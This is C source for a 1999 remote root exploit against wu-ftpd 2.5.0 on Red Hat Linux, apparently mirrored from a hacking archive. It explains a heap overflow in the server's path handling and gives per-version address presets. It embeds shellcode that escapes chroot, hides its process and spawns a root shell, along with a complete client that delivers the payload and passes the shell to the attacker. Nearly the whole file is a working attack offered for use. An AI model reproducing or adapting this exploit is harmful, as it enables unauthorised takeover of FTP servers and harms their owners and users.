/* * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing * chaos that follows a heap overflow. Linux version. * * C0ded by nuuB [Sep 19, 1999] * * Compile with: * * cc wuftpd250-sploit.c -o wuftpd250-sploit * * Credits: * typo for interesting discussions and the double combo idea. * edi for the 'eip in PASS' idea. * lcamtuf for finding the bug and posting on bugtraq. * temas for a RH6 box to test this on. * * Quote: * * " it's wicked... but you can change errcatch and LastArgv at the * same time, thus doing an elite combo and owning the entire world" * * Below is a detailed description of how the exploit works. You shouldn't * have too much trouble understanding what is going on. The code is written * for readability and roboustness (i.e not using the 'printf()|nc' style). * * Have fun, but as always - BEHAVE! * * /nuuB */ /* * Overflow: * * cwd() -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir); * * Pseudo call sequence for each received FTP command: * * if(command_not_implemented) longjmp(errcatch); * setproctitle(": "); * do_(); * setproctitle(": IDLE"); * * where * * setproctitle() { * copy to Argv[0] and pad with spaces to LastArgv; * } * * Egg: * * /incoming/A--A//A--A/eeee00001111oooooooovvvvLLLL\0 * ^- 0 ^- mp_size-255-256 ^- mp_size * * Pad: A--A=padding/NOP * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1] * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv * * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler * * We can't get eip directly, but as setproctitle() copies data we have some * control over to the area between Argv[0] and LastArgv we can do some neat * stuff. There are several ways to do it, but this exploit uses the three * different methods outlined below. * * Anon attack: * * We place the pointer to our c0de in PASS (used in setproctitle("IDLE")). * eip can be snagged in different ways. One way is to overwrite the return * address on the stack for setproctitle(), essentially turning the heap * overflow into a stack overflow. The nature of the exploit forces us to * know the exact place on the stack, and this varies with the environment. * Thus this method is very unreliable, but is still included as we do * this for fun :) A better way is to overwrite the JB_PC part of errcatch * and then cause errcatch to be called by issuing an unimplemented command. * Still, we need two offsets, but both are on the heap. As a bonus * this method can't be stopped by Stack Guard or non-executable stacks. * * Required offsets: mapped_path, setproctitle() stack eip / errcatch. * * Account attack: * * There is no controllable data in the setproctitle("IDLE") call so we use * two CWD's and make use of the setproctitle("CWD") calls. The first CWD * will set the Argv stuff so the second CWD (with our eip) gets written * where we want. The second CWD will have to change the Argv's so that * we don't destroy the eip when the final setproctitle("IDLE") call comes. * In this case we can't write eip to the stack as it will be hosed before * we get a chance to use it. This method works for anonymous too and is * unstoppable by Stack Guard etc. * * Required offsets: mapped_path, errcatch. * * Interesting finding: * * When trying to CWD you get a 250 reply under * RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though * the source for wuftpd is the same in both cases. This probably has to do * with the different kernel/libc's and how they handle long paths. Anyhow, * this needs to be taken into account in the double combo attack. * * Offsets: * * The above methods require two offsets to be known exactly. This gives * us a lot of combinations to try. The amount could possibly be reduced * a bit using more eip pointers, but as mapped_path has to be known * the number of combinations is bigger than I think is practical. Thus * there is no option to enter offsets from the command line. */ #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; /* Offsets that must be known (exactly) */ int mapped_path_size; /* not really an offset... normally 1024 or 4096 */ unsigned long mapped_path; unsigned long eip_addr; /* Values we want to set the corresponding variables to. Calculated from the * above offsets. */ unsigned long c0de_addr; unsigned long owned_Argv0; unsigned long owned_Argv; unsigned long owned_LastArgv; #define TOP_OF_STACK 0xc0000000 /* Variable that decides if mkd_cwd() aborts on errors or not */ int mkd_cwd_bail_on_error=1; /* Lets start collecting offsets... */ struct preset { char *desc; void (*attack)(); int mpsize; unsigned long mp; unsigned long eip_addr; }; void attack_anon(); void attack_any(); /* Offsets can be found using gdb, objdump or ltrace */ struct preset presets[]= { {"eip RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4 }, {"ljmp RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999", attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4}, {"ljmp RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999", attack_anon, 1024, 0x08067504, 0x08070930+5*4}, {"ljmp RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999", attack_anon, 4096, 0x08067780, 0x08075520+5*4}, {"ljmp RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4}, {"2x RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999", attack_any, 1024, 0x08066890, 0x0806fcc0+5*4}, {"2x RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999", attack_any, 1024, 0x08067504, 0x08070930+5*4}, {"2x RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999", attack_any, 4096, 0x08067780, 0x08075520+5*4}, {"2x RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4}, {0,0,0,0,0} }; /* Some stuff we need */ int ctrl; int verbose; char *local_hostname; char *target_host; int target_port; char *target_user=0; char *target_pass=0; char *target_dir=0; /* * This c0de breaks out of chroot() and then goes through a lot of trouble * to hide the process from the system operator. Finally a shell is spawned. * * c0de: * * setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir(".."); * chroot("."); hide_process(); execve("/bin/sh"); * * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/'). */ /* Not optimized for space as we got plenty of room */ #define C0DE_SIZE 402 char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e" "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62" "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45" "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03" "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0" "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27" "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89" "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0" "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0" "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04" "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31" "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3" "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55" "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3" "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89" "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90" "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9" "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03" "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b" "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40" "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0" "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09" "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31" "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2" "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0" "\xeb\x81"; void usage() { int i; printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n" "Usage: wuftpd250-sploit \n\n" " = [:@][:][/]\n\n" "Type Neeq Distro RPM Banner date\n" "---- ---- ------ ------------------------------- ----------------------------\n"); for(i=0; presets[i].desc; ++i) { if(presets[i].mpsize) printf("%2d) %s\n", i, presets[i].desc); } printf("\n" " eip = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n" " ljmp = errcatch JB_PC overwrite (heap, anonymous only)\n" " 2x = errcatch JB_PC overwrite using 2x combo (heap)\n"); exit(0); } void parse_url(char *url) { char *u, *s; u=strdup(url); if((s=strrchr(u, '@'))) { *s++=0; target_user=u; u=s; if(!(s=strchr(target_user, ':'))) usage(); *s++=0; target_pass=s; } target_host=u; if((u=strchr(u, '/'))) { target_dir=strdup(u); *u=0; } if((s=strchr(target_host, ':'))) { *s++=0; if(!isdigit(*s)) usage(); target_port=atoi(s); } else target_port=21; } void baile(char *s) { printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno)); exit(1); } void bail(char *s) { printf("*** %s\n", s); exit(1); } /* Should work on all platforms */ char *htol_LEstr(unsigned long num) { static unsigned char buf[5]; unsigned long n; n=htonl(num); buf[0]=(n>>24)&0xff; buf[1]=(n>>16)&0xff; buf[2]=(n>>8)&0xff; buf[3]=n&0xff; buf[4]=0; if(strlen(buf) != 4 || strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) { printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num); bail("Sploit needs to be slightly realigned. No problems, right kidz? B}"); } return buf; } int connect_host() { char *p; int fd; struct sockaddr_in target, me; struct hostent *he; int me_len; /* Connect to victim */ memset(&target, 0, sizeof(struct sockaddr_in)); target.sin_family=AF_INET; if(!inet_aton(target_host, &target.sin_addr)) { if(!(he=gethostbyname(target_host))) baile("Unable to resolve victim hostname."); memcpy((char *)&target.sin_addr, he->h_addr, he->h_length); } target.sin_port=htons(target_port); if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed"); if(connect(fd, &target, sizeof(target))) baile("connect() failed"); /* Get local hostname */ me_len=sizeof(me); if(getsockname(fd, &me, &me_len)) baile("Unable to determine local hostname!"); if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET))) local_hostname=strdup(he->h_name); else if((p=inet_ntoa(me.sin_addr))) { strcpy(local_hostname, p); } else baile("Unable to determine local hostname!"); printf("*** Local hostname: %s\n", local_hostname); return fd; } char *get_response_str() { static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */ char *p; p=buf; while(read(ctrl, p, 1) == 1) { if(*p == '\r') { *p++=0; while(read(ctrl, p, 1) == 1 && *p != '\n') ; if(buf[3] == ' ') { if(verbose == 1) printf("%4.4s\n", buf); else if(verbose >= 2) printf("%s\n", buf); return buf; } p=buf; continue; } ++p; } bail("Server disconnected."); return 0; /* Never reached */ } int get_response() { char *s; s=get_response_str(); if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2])) bail("Illegal response from server."); return atoi(s); } void send_command(unsigned char *cmd) { if(verbose == 1) printf("--> %4.4s\n", cmd); if(verbose >= 2) printf("--> %s\n", cmd); while(*cmd) { if(write(ctrl, cmd, 1) != 1) baile("write failed"); if(*cmd == 0xff) /* 0xff -> IAC IAC */ if(write(ctrl, cmd, 1) != 1) baile("write failed"); ++cmd; } if(write(ctrl, "\r\n", 2) != 2) baile("write failed"); } int mkd_cwd(char *dir) { char buf[1024]; int r; sprintf(buf, "MKD %s", dir); send_command(buf); r=get_response(); if(r != 257 && r != 521) { printf("*** Failed to create dir (reply=%d)\n", r); bail("Aborting."); } sprintf(buf, "CWD %s", dir); send_command(buf); r=get_response(); if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed."); return r; } /* update_buffer() + shovel_data() moves data between the shell and the * local terminal. */ #define BUFSIZE 128 int update_buffer(char *buf, int *idx, int thisone, int direction) { if(thisone < 0) { if(errno == EINTR || errno == EWOULDBLOCK) return 0; return 1; } if(!thisone) return 1; if(direction < 0) { if(thisone < *idx) memmove(buf, &buf[thisone], *idx-thisone); *idx-=thisone; } else *idx+=thisone; return 0; } void shovel_data(int netfd) { fd_set R,W; char obuf[BUFSIZE], ibuf[BUFSIZE]; int o, i; int done; fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK); fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK); fcntl(netfd, F_SETFL, O_NONBLOCK); o=i=done=0; while(!done) { FD_ZERO(&R); FD_ZERO(&W); if(i > 0) FD_SET(STDOUT_FILENO, &W); if(i < BUFSIZE) FD_SET(netfd, &R); if(o > 0) FD_SET(netfd, &W); if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R); select(netfd+1, &R, &W, 0, 0); if(FD_ISSET(STDOUT_FILENO, &W)) done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1); if(FD_ISSET(netfd, &W)) done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1); if(FD_ISSET(STDIN_FILENO, &R)) done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1); if(FD_ISSET(netfd, &R)) done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1); } } /* Do the stuff common to the attacks */ int do_prologue() { char buf[1024]; char *s, *t; int pos; verbose=2; mkd_cwd_bail_on_error=1; if(get_response() != 220) bail("No welcome banner."); sprintf(buf, "USER %s", target_user); send_command(buf); if(get_response() != 331) bail("USER failed."); sprintf(buf, "PASS %s", target_pass); send_command(buf); if(get_response() != 230) bail("PASS failed."); if(target_dir) { sprintf(buf, "CWD %s", target_dir); send_command(buf); if(get_response() != 250) bail("CWD failed."); } send_command("PWD"); s=get_response_str(); if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"'))) bail("Unable to get current directory."); /* Pos is how much of mapped_path is used so far (excluding NULL) */ pos=(t-(s+5)); printf("*** Creating deep directory. This may take some time...\n"); verbose=0; /* Align to 256 bytes (excluding trailing /) */ memset(buf, 'A', sizeof(buf)); buf[256-(pos+1)]=0; mkd_cwd(buf); pos+=1+strlen(buf); /* Keep going */ memset(buf, 'A', sizeof(buf)); buf[255]=0; while(pos+255 < mapped_path_size-256*2) { mkd_cwd(buf); pos+=1+strlen(buf); } printf("*** Time to bring out the c0de...\n" "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n"); verbose=1; /* alarm(0) B} */ /* c0de[131]=c0de[132]=c0de[255]; */ /* First part of the code */ strncpy(buf, c0de, 255); buf[255]=0; mkd_cwd(buf); pos+=1+255; /* Second part + pad */ memset(buf, 'A', sizeof(buf)); strncpy(buf, c0de+256, C0DE_SIZE-256); buf[255-12-1]=0; mkd_cwd(buf); pos+=1+strlen(buf); /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */ return pos; } void attack_anon() { char buf[1024]; int pos; if(target_user || target_pass) bail("Sorry, this type only works for anonymous FTP..."); printf("*** Logging in as anonymous.\n"); ctrl=connect_host(); /* Calculate offsets */ c0de_addr=mapped_path+mapped_path_size-255-256; owned_Argv=mapped_path+mapped_path_size-8; owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */ /* "ftpd: : anonymous/" */ owned_Argv0=eip_addr-(6+strlen(local_hostname)+12); target_user="anonymous"; sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr)); target_pass=buf; pos=do_prologue(); /* This last block starts at mapped_path[mapped_path_size-12] */ memset(buf, 'A', sizeof(buf)); /* Skip eeee for this method */ strncpy(buf+4, htol_LEstr(owned_Argv0), 4); /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */ strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); pos+=1+strlen(buf); printf("*** Total egg size is %d. Sending final component.\n", pos); mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */ mkd_cwd(buf); printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n" "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n"); /* Cause longjmp(errcatch) - only needed for the errcatch method */ write(ctrl, "MRCP\r\n", 6); } void attack_any() { char buf[1024]; int pos; int prefixlen; if(!target_user || !target_pass) { target_user="anonymous"; target_pass="cr@ck.er"; printf("*** Logging in as anonymous.\n"); } ctrl=connect_host(); /* Calculate offsets */ c0de_addr=mapped_path+mapped_path_size-255-256; owned_Argv=mapped_path+mapped_path_size-8; /* "ftpd: : : CWD " */ prefixlen=14+strlen(local_hostname)+strlen(target_user); /* 'anonymous/' pass */ if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous")) prefixlen+=strlen(target_pass)+1-strlen(target_user)+9; pos=do_prologue(); /* First CWD */ owned_Argv0=eip_addr-prefixlen; owned_Argv=mapped_path+mapped_path_size-8; owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */ memset(buf, 'A', sizeof(buf)); strncpy(buf+4, htol_LEstr(owned_Argv0), 4); strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); pos+=1+strlen(buf); printf("*** Total egg size is %d. Sending 2x combo.\n", pos); verbose=1; printf("*** Round-house kick.\n"); mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */ if(mkd_cwd(buf) == 250) { send_command("CWD .."); /* Back up if the chdir() was successful */ get_response(); } /* Second CWD. * * Borrow some room near TOP_OF_STACK ("free space") as a safe place for * the remaining times setproctitle() is called. */ owned_Argv0=TOP_OF_STACK-8; owned_LastArgv=TOP_OF_STACK-1; strncpy(buf, htol_LEstr(c0de_addr), 4); strncpy(buf+4, htol_LEstr(owned_Argv0), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); printf("*** Elite-airborne-double-kick-to-the-head as featured in " "The Matrix.\n"); mkd_cwd(buf); printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n"); write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */ } int main(int argc, char *argv[]) { int i; if(argc != 3 || !isdigit(*argv[2])) usage(); parse_url(argv[1]); /* Find the preset */ for(i=0; presets[i].desc; ++i) { if(i==atoi(argv[2])) break; } if(!presets[i].mpsize) bail("No such target type."); mapped_path_size=presets[i].mpsize; mapped_path=presets[i].mp; eip_addr=presets[i].eip_addr; (presets[i].attack)(); signal(SIGINT, SIG_IGN); /* Get rid of accidental ctrl-C */ write(ctrl, "id\n", 3); /* assert(0wnage) */ shovel_data(ctrl); write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */ printf("\n*** I hope you behaved...\n***\n*** nuuB\n"); return 0; } /* www.hack.co.za [2000]*/